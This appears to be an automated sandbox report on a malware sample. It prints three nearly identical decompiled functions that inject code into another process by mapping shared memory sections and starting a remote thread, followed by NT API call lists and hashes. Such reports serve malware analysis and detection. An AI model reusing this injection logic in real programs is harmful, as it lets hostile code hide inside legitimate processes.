NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction ID: 208a9abdd1aee22c33f973a86314166aafce39c53584160e1e70edf4842307f5
Opcode Fuzzy Hash: ee7df8332a015d020675fe9d5738b42a699687d4ee2a3031125f4e7c00d6bff1
Instruction Fuzzy Hash: 93616175900204FBEB209F91DC89FAF7BB8EF85700F10412AF912BA1E4D7759901DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040152C(signed int __ebx, signed int __ecx, void* __edi, void* __esi) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t131;
				intOrPtr _t133;
				intOrPtr* _t135;
				long* _t140;
				signed int _t142;
				int _t143;
				signed int _t164;
				signed int _t165;
				signed int _t166;
				void* _t167;
				intOrPtr* _t168;
				void* _t171;
				intOrPtr _t181;
				void* _t182;
				void* _t183;
				intOrPtr* _t189;
				intOrPtr* _t190;
				HANDLE* _t191;
				HANDLE* _t192;
				void* _t197;
				void* _t198;
				intOrPtr* _t201;
				void* _t202;
				void* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				intOrPtr* _t210;
				void* _t211;
				signed char _t212;
				long _t226;
				void* _t232;

				asm("pushfd");
				_t130 = __ebx | __ecx;
				_t212 = __ebx | __ecx;
				_t86 = 0x1561;
				_push(0x38d);
				_t133 =  *_t208;
				_t209 = _t208 + 4;
				asm("cmc");
				E0040119E(_t86, _t130, _t133, 0xc0, __edi, __esi, _t212, _t232);
				_t131 =  *((intOrPtr*)(_t207 + 8));
				 *((intOrPtr*)(_t207 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t207 - 0x34)) =  *((intOrPtr*)(_t207 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t207 - 0x5c)) = _t89;
				_t189 = _t207 - 0x60;
				 *_t189 = 0;
				 *((intOrPtr*)(_t131 + 0x4c))(_t89, _t189);
				_t92 =  *_t189;
				if(_t92 != 0) {
					_t135 = _t207 - 0x30;
					 *_t135 = _t92;
					 *((intOrPtr*)(_t135 + 4)) = 0;
					_t190 = _t207 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t190, 0x18);
					 *_t190 = 0x18;
					_push(_t207 - 0x30);
					_push(_t190);
					_push(0x40);
					_push(_t207 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t207 - 0x10), 0xffffffff, 0xffffffff, _t207 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t207 - 8)) = 0;
						_t100 = _t207 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t191 = _t207 - 0x54;
						if(NtCreateSection(_t191, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t207 - 0x50);
							_t123 = _t207 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t191, 0xffffffff, _t123, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t207 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t191,  *(_t207 - 0xc), _t125, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
									_t206 =  *(_t207 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(0, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t207 + 0x14));
									 *((intOrPtr*)(_t207 - 8)) =  *((intOrPtr*)(_t207 - 8)) + 1;
								}
							}
						}
						_t102 = _t207 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t207 + 0x10)) + 0x10000;
						_t192 = _t207 - 0x58;
						if(NtCreateSection(_t192, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t207 - 8)) != 0) {
							 *_t46 =  *(_t207 - 0x50);
							_t104 = _t207 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t104, 0, 0, 0, _t207 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t207 - 0x40;
								 *_t106 = 0;
								_t140 = _t207 - 0x38;
								_t226 = NtMapViewOfSection( *_t192,  *(_t207 - 0xc), _t106, 0, 0, 0, _t140, 1, 0, 0x20);
								if(_t226 == 0) {
									L25();
									if(_t226 == 0 && _t226 != 0) {
										 *_t140 = _t192;
										_t209 = _t207;
										_pop(_t207);
									}
									_t210 = _t209 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t210;
									_t211 = _t210 + 4;
									_t164 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t165 = _t164;
									asm("loop 0xffffffc1");
									_t166 = _t165 ^ 0xa3491271;
									_t209 = _t211 - _t166;
									_t197 =  *((intOrPtr*)(_t207 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t207 + 0xc))));
									_t142 =  *(_t197 + 6) & 0x0000ffff;
									_push(_t197);
									_t167 = _t197;
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_t168 = _t167 + 0xf8;
										__eflags = _t168;
									} else {
										_t168 = _t167 + 0x108;
									}
									_push(_t142);
									_t143 =  *(_t168 + 0x10);
									if(_t143 != 0) {
										memcpy( *((intOrPtr*)(_t168 + 0xc)) +  *(_t207 - 0x48),  *((intOrPtr*)(_t168 + 0x14)) +  *((intOrPtr*)(_t207 + 0xc)), _t143);
										_t209 = _t209 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t198);
									_t230 =  *((intOrPtr*)(_t207 - 0x34));
									if( *((intOrPtr*)(_t207 - 0x34)) == 0) {
										_push(_t198);
										_t171 =  *((intOrPtr*)(_t198 + 0x34)) -  *(_t207 - 0x40);
										_t201 =  *((intOrPtr*)(_t198 + 0xa0)) +  *(_t207 - 0x48);
										__eflags = _t201;
										while(1) {
											__eflags =  *_t201;
											if( *_t201 == 0) {
												break;
											}
											_t181 =  *_t201;
											_t201 = _t201 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t171;
												__eflags =  *((intOrPtr*)( *(_t207 - 0x48) + 0 + _t181));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t202);
										__eflags = 0;
										_t110 = _t207 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t131 + 0x98))( *(_t207 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t202 + 0x28)) +  *(_t207 - 0x40),  *(_t207 - 0x3c), _t110, 0);
									} else {
										L58();
										_pop(_t182);
										_t183 = _t182 - 0x17da;
										 *((intOrPtr*)(_t183 + 0x180e)) = _t183 + 0x2f6c;
										E00401217(_t131, _t230, _t232, _t183 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t183 + 0x1833)) = _t183 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction ID: 91d7b6eb91bdc9b702aebae0ea57f4798882290432fe6fcee8abfa626251d873
Opcode Fuzzy Hash: b502e8d547dcbb9dd043183c23f053b37dc608a28cee40afe6b19e4886b27209
Instruction Fuzzy Hash: 0F5149B5900245BBEB209F91CC48FEFBFB8EF85B00F144159F911AA2A5D7759901CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E00401557(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				void* _t206;
				intOrPtr* _t207;
				void* _t208;
				long _t223;
				void* _t229;

				asm("sahf");
				if (__eflags > 0) goto 0x401545;
				asm("cmc");
				E0040119E(_t86, __ebx, __ecx, 0xc0, __edi, __esi, __eflags, _t229);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t223 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t223 == 0) {
									L19();
									if(_t223 == 0 && _t223 != 0) {
										 *_t138 = _t190;
										_t206 = _t205;
										_pop(_t205);
									}
									_t207 = _t206 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t207;
									_t208 = _t207 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t206 = _t208 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t206 = _t206 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t227 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L52();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t227, _t229, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction ID: cc3d46135835756f9cafff621b1599bf12e5bdd411ec13d592e282f5f8ecdeaa
Opcode Fuzzy Hash: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction Fuzzy Hash: C1512A75900249BBEB209F91CC48FAFBBB8FF85B00F144169FA11BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040151F(void* __ebx, void* __edi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				intOrPtr* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				long _t224;
				void* _t230;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t206;
				_t207 = _t206 + 4;
				asm("cmc");
				E0040119E(_t86, __ebx, _t131, 0xc0, __edi, 0x53802c55, __eflags, _t230);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t224 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t224 == 0) {
									L24();
									if(_t224 == 0 && _t224 != 0) {
										 *_t138 = _t190;
										_t207 = _t205;
										_pop(_t205);
									}
									_t208 = _t207 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t208;
									_t209 = _t208 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t207 = _t209 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t207 = _t207 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t228 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L57();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t228, _t230, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000002.00000002.414284411.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_gjsvvic.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction ID: 7b0ff6212a6efac6393312b74af7fae11c4648ab5a07736769ecee7b68bffce7
Opcode Fuzzy Hash: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction Fuzzy Hash: 23512A75900205BFEB209F91CC48FAF7BB8EF85B00F14416AFA12BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB0D Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

